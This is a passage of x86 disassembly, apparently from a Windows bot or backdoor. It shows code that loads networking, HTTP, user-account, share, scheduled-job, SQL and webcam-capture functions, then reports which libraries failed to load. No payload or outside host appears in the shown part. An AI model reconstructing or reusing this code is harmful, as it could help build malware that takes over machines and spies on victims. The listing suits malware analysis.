; ---------------------------------------------------------------------------


loc_408EB1:				; CODE XREF: sub_4089D6+41Aj
		call	ds:dword_421088
		mov	ds:dword_43A444, eax


loc_408EBC:				; CODE XREF: sub_4089D6+49Bj
					; sub_4089D6+4A3j ...
		mov	ds:dword_43A440, 1


loc_408EC6:				; CODE XREF: sub_4089D6+4D7j
		mov	ebp, ds:dword_4210C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409182
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	ds:dword_43A2E0, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	ds:dword_43A40C, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	ds:dword_43A284, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	ds:dword_43A260, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	ds:dword_43A314, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	ds:dword_43A2FC, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	ds:dword_43A2C8, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	ds:dword_43A3E8, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	ds:dword_43A404, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	ds:dword_43A310, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	ds:dword_43A3F4, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	ds:dword_43A3A8, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	ds:dword_43A368, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	ds:dword_43A364, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	ds:dword_43A2A4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	ds:dword_43A29C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	ds:dword_43A3B8, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	ds:dword_43A3CC, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	ds:dword_43A380, eax
		call	esi
		mov	ds:dword_43A340, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	ds:dword_43A394, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	ds:dword_43A350, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	ds:dword_43A390, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	ds:dword_43A3FC, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	ds:dword_43A348, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	ds:dword_43A30C, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	ds:dword_43A37C, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	ds:dword_43A3EC, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	ds:dword_43A320, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	ds:dword_43A2C4, eax
		call	esi
		cmp	ds:dword_43A2E0, ebx
		mov	ds:dword_43A400, eax
		jz	loc_40918D
		cmp	ds:dword_43A40C, ebx
		jz	loc_40918D
		cmp	ds:dword_43A284, ebx
		jz	loc_40918D
		cmp	ds:dword_43A314, ebx
		jz	loc_40918D
		cmp	ds:dword_43A2FC, ebx
		jz	loc_40918D
		cmp	ds:dword_43A2C8, ebx
		jz	loc_40918D
		cmp	ds:dword_43A3E8, ebx
		jz	loc_40918D
		cmp	ds:dword_43A404, ebx
		jz	loc_40918D
		cmp	ds:dword_43A310, ebx
		jz	loc_40918D
		cmp	ds:dword_43A3F4, ebx
		jz	loc_40918D
		cmp	ds:dword_43A3A8, ebx
		jz	loc_40918D
		cmp	ds:dword_43A368, ebx
		jz	loc_40918D
		cmp	ds:dword_43A364, ebx
		jz	loc_40918D
		cmp	ds:dword_43A2A4, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A3B8, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A3CC, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A380, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A340, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A394, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A350, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A390, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A3FC, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A348, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A30C, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A37C, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A3EC, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A320, ebx
		jz	short loc_40918D
		cmp	eax, ebx
		jnz	short loc_409197
		jmp	short loc_40918D
; ---------------------------------------------------------------------------


loc_409182:				; CODE XREF: sub_4089D6+501j
		call	ds:dword_421088
		mov	ds:dword_43A44C, eax


loc_40918D:				; CODE XREF: sub_4089D6+6A0j
					; sub_4089D6+6ACj ...
		mov	ds:dword_43A448, 1


loc_409197:				; CODE XREF: sub_4089D6+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40929C
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	ds:dword_43A2AC, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	ds:dword_43A238, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	ds:dword_43A330, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	ds:dword_43A2E4, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	ds:dword_43A33C, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	ds:dword_43A300, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	ds:dword_43A278, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	ds:dword_43A270, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	ds:dword_43A280, eax
		call	esi
		cmp	ds:dword_43A2AC, ebx
		mov	ecx, ds:dword_43A300
		mov	ds:dword_43A39C, eax
		jz	short loc_409278
		cmp	ds:dword_43A238, ebx
		jz	short loc_409278
		cmp	ds:dword_43A330, ebx
		jz	short loc_409278
		cmp	ds:dword_43A2E4, ebx
		jz	short loc_409278
		cmp	ds:dword_43A33C, ebx
		jz	short loc_409278
		cmp	ecx, ebx
		jz	short loc_409278
		cmp	ds:dword_43A278, ebx
		jz	short loc_409278
		cmp	ds:dword_43A270, ebx
		jz	short loc_409278
		cmp	ds:dword_43A280, ebx
		jz	short loc_409278
		cmp	eax, ebx
		jnz	short loc_409282


loc_409278:				; CODE XREF: sub_4089D6+860j
					; sub_4089D6+868j ...
		mov	ds:dword_43A450, 1


loc_409282:				; CODE XREF: sub_4089D6+8A0j
		cmp	ecx, ebx
		jz	short loc_4092B7
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	ds:dword_43A318, eax
		jnz	short loc_4092B7
		jmp	short loc_4092B1
; ---------------------------------------------------------------------------


loc_40929C:				; CODE XREF: sub_4089D6+7CCj
		call	ds:dword_421088
		mov	ds:dword_43A454, eax
		mov	ds:dword_43A450, 1


loc_4092B1:				; CODE XREF: sub_4089D6+8C4j
		mov	ds:dword_43A318, ebx


loc_4092B7:				; CODE XREF: sub_4089D6+8AEj
					; sub_4089D6+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409301
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	ds:dword_43A2F4, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	ds:dword_43A420, eax
		call	esi
		cmp	ds:dword_43A2F4, ebx
		mov	ds:dword_43A28C, eax
		jz	short loc_40930C
		cmp	ds:dword_43A420, ebx
		jz	short loc_40930C
		cmp	eax, ebx
		jnz	short loc_409316
		jmp	short loc_40930C
; ---------------------------------------------------------------------------


loc_409301:				; CODE XREF: sub_4089D6+8ECj
		call	ds:dword_421088
		mov	ds:dword_43A45C, eax


loc_40930C:				; CODE XREF: sub_4089D6+91Bj
					; sub_4089D6+923j ...
		mov	ds:dword_43A458, 1


loc_409316:				; CODE XREF: sub_4089D6+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40940C
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	ds:dword_43A268, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	ds:dword_43A240, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	ds:dword_43A2B4, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	ds:dword_43A2E8, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	ds:dword_43A3F8, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	ds:dword_43A2A0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	ds:dword_43A24C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	ds:dword_43A23C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	ds:dword_43A2D0, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	ds:dword_43A3C0, eax
		call	esi
		cmp	ds:dword_43A268, ebx
		mov	ds:dword_43A378, eax
		jz	short loc_409417
		cmp	ds:dword_43A240, ebx
		jz	short loc_409417
		cmp	ds:dword_43A2B4, ebx
		jz	short loc_409417
		cmp	ds:dword_43A2E8, ebx
		jz	short loc_409417
		cmp	ds:dword_43A3F8, ebx
		jz	short loc_409417
		cmp	ds:dword_43A2A0, ebx
		jz	short loc_409417
		cmp	ds:dword_43A24C, ebx
		jz	short loc_409417
		cmp	ds:dword_43A23C, ebx
		jz	short loc_409417
		cmp	ds:dword_43A2D0, ebx
		jz	short loc_409417
		cmp	ds:dword_43A3C0, ebx
		jz	short loc_409417
		cmp	eax, ebx
		jnz	short loc_409421
		jmp	short loc_409417
; ---------------------------------------------------------------------------


loc_40940C:				; CODE XREF: sub_4089D6+94Bj
		call	ds:dword_421088
		mov	ds:dword_43A464, eax


loc_409417:				; CODE XREF: sub_4089D6+9E6j
					; sub_4089D6+9EEj ...
		mov	ds:dword_43A460, 1


loc_409421:				; CODE XREF: sub_4089D6+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409456
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	ds:dword_43A290, eax
		call	esi
		cmp	ds:dword_43A290, ebx
		mov	ds:dword_43A360, eax
		jz	short loc_409461
		cmp	eax, ebx
		jnz	short loc_40946B
		jmp	short loc_409461
; ---------------------------------------------------------------------------


loc_409456:				; CODE XREF: sub_4089D6+A56j
		call	ds:dword_421088
		mov	ds:dword_43A46C, eax


loc_409461:				; CODE XREF: sub_4089D6+A78j
					; sub_4089D6+A7Ej
		mov	ds:dword_43A468, 1


loc_40946B:				; CODE XREF: sub_4089D6+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4094A0
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	ds:dword_43A3E4, eax
		call	esi
		cmp	ds:dword_43A3E4, ebx
		mov	ds:dword_43A3E0, eax
		jz	short loc_4094AB
		cmp	eax, ebx
		jnz	short loc_4094B5
		jmp	short loc_4094AB
; ---------------------------------------------------------------------------


loc_4094A0:				; CODE XREF: sub_4089D6+AA0j
		call	ds:dword_421088
		mov	ds:dword_43A474, eax


loc_4094AB:				; CODE XREF: sub_4089D6+AC2j
					; sub_4089D6+AC8j
		mov	ds:dword_43A470, 1


loc_4094B5:				; CODE XREF: sub_4089D6+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409514
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	ds:dword_43A410, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	ds:dword_43A408, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	ds:dword_43A3D0, eax
		call	esi
		cmp	ds:dword_43A410, ebx
		mov	ds:dword_43A2A8, eax
		jz	short loc_40951F
		cmp	ds:dword_43A408, ebx
		jz	short loc_40951F
		cmp	ds:dword_43A3D0, ebx
		jz	short loc_40951F
		cmp	eax, ebx
		jnz	short loc_409529
		jmp	short loc_40951F
; ---------------------------------------------------------------------------


loc_409514:				; CODE XREF: sub_4089D6+AEAj
		call	ds:dword_421088
		mov	ds:dword_43A47C, eax


loc_40951F:				; CODE XREF: sub_4089D6+B26j
					; sub_4089D6+B2Ej ...
		mov	ds:dword_43A478, 1


loc_409529:				; CODE XREF: sub_4089D6+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40955E
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	ds:dword_43A2DC, eax
		call	esi
		cmp	ds:dword_43A2DC, ebx
		mov	ds:dword_43A3DC, eax
		jz	short loc_409569
		cmp	eax, ebx
		jnz	short loc_409573
		jmp	short loc_409569
; ---------------------------------------------------------------------------


loc_40955E:				; CODE XREF: sub_4089D6+B5Ej
		call	ds:dword_421088
		mov	ds:dword_43A484, eax


loc_409569:				; CODE XREF: sub_4089D6+B80j
					; sub_4089D6+B86j
		mov	ds:dword_43A480, 1


loc_409573:				; CODE XREF: sub_4089D6+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4095FC
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	ds:dword_43A3A4, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	ds:dword_43A3F0, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	ds:dword_43A32C, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	ds:dword_43A2EC, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	ds:dword_43A384, eax
		call	esi
		cmp	ds:dword_43A3A4, ebx
		mov	ds:dword_43A2F8, eax
		jz	short loc_409607
		cmp	ds:dword_43A3F0, ebx
		jz	short loc_409607
		cmp	ds:dword_43A32C, ebx
		jz	short loc_409607
		cmp	ds:dword_43A2EC, ebx
		jz	short loc_409607
		cmp	ds:dword_43A384, ebx
		jz	short loc_409607
		cmp	eax, ebx
		jnz	short loc_409611
		jmp	short loc_409607
; ---------------------------------------------------------------------------


loc_4095FC:				; CODE XREF: sub_4089D6+BA8j
		call	ds:dword_421088
		mov	ds:dword_43A48C, eax


loc_409607:				; CODE XREF: sub_4089D6+BFEj
					; sub_4089D6+C06j ...
		mov	ds:dword_43A488, 1


loc_409611:				; CODE XREF: sub_4089D6+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409646
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	ds:dword_43A2C0, eax
		call	esi
		cmp	ds:dword_43A2C0, ebx
		mov	ds:dword_43A398, eax
		jz	short loc_409651
		cmp	eax, ebx
		jnz	short loc_40965B
		jmp	short loc_409651
; ---------------------------------------------------------------------------


loc_409646:				; CODE XREF: sub_4089D6+C46j
		call	ds:dword_421088
		mov	ds:dword_43A494, eax


loc_409651:				; CODE XREF: sub_4089D6+C68j
					; sub_4089D6+C6Ej
		mov	ds:dword_43A490, 1


loc_40965B:				; CODE XREF: sub_4089D6+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4089D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409663	proc near		; CODE XREF: seg000:00412034p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ds:dword_43A428, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4096AB
		push	ds:dword_43A42C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_4096AB:				; CODE XREF: sub_409663+1Aj
		cmp	ds:dword_43A430, esi
		jz	short loc_4096DF
		push	ds:dword_43A434
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_4096DF:				; CODE XREF: sub_409663+4Ej
		cmp	ds:dword_43A438, esi
		jz	short loc_409713
		push	ds:dword_43A43C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_409713:				; CODE XREF: sub_409663+82j
		cmp	ds:dword_43A440, esi
		jz	short loc_409747
		push	ds:dword_43A444
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_409747:				; CODE XREF: sub_409663+B6j
		cmp	ds:dword_43A448, esi
		jz	short loc_40977B
		push	ds:dword_43A44C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_40977B:				; CODE XREF: sub_409663+EAj
		cmp	ds:dword_43A450, esi
		jz	short loc_4097AF
		push	ds:dword_43A454
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_4097AF:				; CODE XREF: sub_409663+11Ej
		cmp	ds:dword_43A458, esi
		jz	short loc_4097E3
		push	ds:dword_43A45C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_4097E3:				; CODE XREF: sub_409663+152j
		cmp	ds:dword_43A460, esi
		jz	short loc_409817
		push	ds:dword_43A464
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_409817:				; CODE XREF: sub_409663+186j
		cmp	ds:dword_43A468, esi
		jz	short loc_40984B
		push	ds:dword_43A46C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_40984B:				; CODE XREF: sub_409663+1BAj
		cmp	ds:dword_43A470, esi
		jz	short loc_40987F
		push	ds:dword_43A474
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_40987F:				; CODE XREF: sub_409663+1EEj
		cmp	ds:dword_43A478, esi
		jz	short loc_4098B3
		push	ds:dword_43A47C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_4098B3:				; CODE XREF: sub_409663+222j
		cmp	ds:dword_43A480, esi
		jz	short loc_4098E7
		push	ds:dword_43A484
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_4098E7:				; CODE XREF: sub_409663+256j
		cmp	ds:dword_43A488, esi
		jz	short loc_40991B
		push	ds:dword_43A48C
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_40991B:				; CODE XREF: sub_409663+28Aj
		cmp	ds:dword_43A490, esi
		jz	short loc_40994F
		push	ds:dword_43A494
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_40994F:				; CODE XREF: sub_409663+2BEj
		lea	eax, [ebp+var_200]
		push	offset dword_4299D4
		push	eax
		call	sub_4154CD
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40997C
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_40997C:				; CODE XREF: sub_409663+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B151
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40998E	proc near		; CODE XREF: seg000:0040DA89p
					; seg000:0040DABDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_409A19
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_409A19
		cmp	[ebp+arg_8], esi
		jz	short loc_409A19
		cmp	byte ptr [eax],	0
		jz	short loc_409A19
		push	ebx
		push	edi
		call	sub_41FD5B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_409A14
		push	[ebp+arg_4]
		push	edi
		call	sub_415AA0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_409A0D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_416D20
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_415CD0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_416EF0
		push	[ebp+arg_4]
		call	sub_415CD0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_415BF0
		push	ebx
		push	edi
		call	sub_415BE0
		add	esp, 30h
		mov	esi, edi


loc_409A0D:				; CODE XREF: sub_40998E+3Cj
		push	ebx
		call	sub_415E1D
		pop	ecx


loc_409A14:				; CODE XREF: sub_40998E+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_409A1B
; ---------------------------------------------------------------------------


loc_409A19:				; CODE XREF: sub_40998E+Cj
					; sub_40998E+13j ...
		xor	eax, eax


loc_409A1B:				; CODE XREF: sub_40998E+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40998E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A1F	proc near		; CODE XREF: sub_40CCC1+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_415550
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_415CD0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_409A55
		or	eax, 0FFFFFFFFh
		jmp	short loc_409AC8
; ---------------------------------------------------------------------------


loc_409A55:				; CODE XREF: sub_409A1F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_409A77


loc_409A61:				; CODE XREF: sub_409A1F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_409A6E
		cmp	dl, 0Dh
		jnz	short loc_409A72


loc_409A6E:				; CODE XREF: sub_409A1F+48j
		and	byte ptr [ecx+esi], 0


loc_409A72:				; CODE XREF: sub_409A1F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_409A61


loc_409A77:				; CODE XREF: sub_409A1F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_409AA8
		lea	edi, [ebp+var_7CC]


loc_409A84:				; CODE XREF: sub_409A1F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_409AA3
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_409AA3
		cmp	ebx, 1F4h
		jge	short loc_409AA8
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_409AA3:				; CODE XREF: sub_409A1F+69j
					; sub_409A1F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_409A84


loc_409AA8:				; CODE XREF: sub_409A1F+5Dj
					; sub_409A1F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_409AC6
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_4155B0
		add	esp, 0Ch


loc_409AC6:				; CODE XREF: sub_409A1F+8Ej
		mov	eax, ebx


loc_409AC8:				; CODE XREF: sub_409A1F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_409A1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_409ACC	proc near		; CODE XREF: sub_409B26+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_409B05
		push	ebx
		mov	ebx, edi


loc_409AE9:				; CODE XREF: sub_409ACC+36j
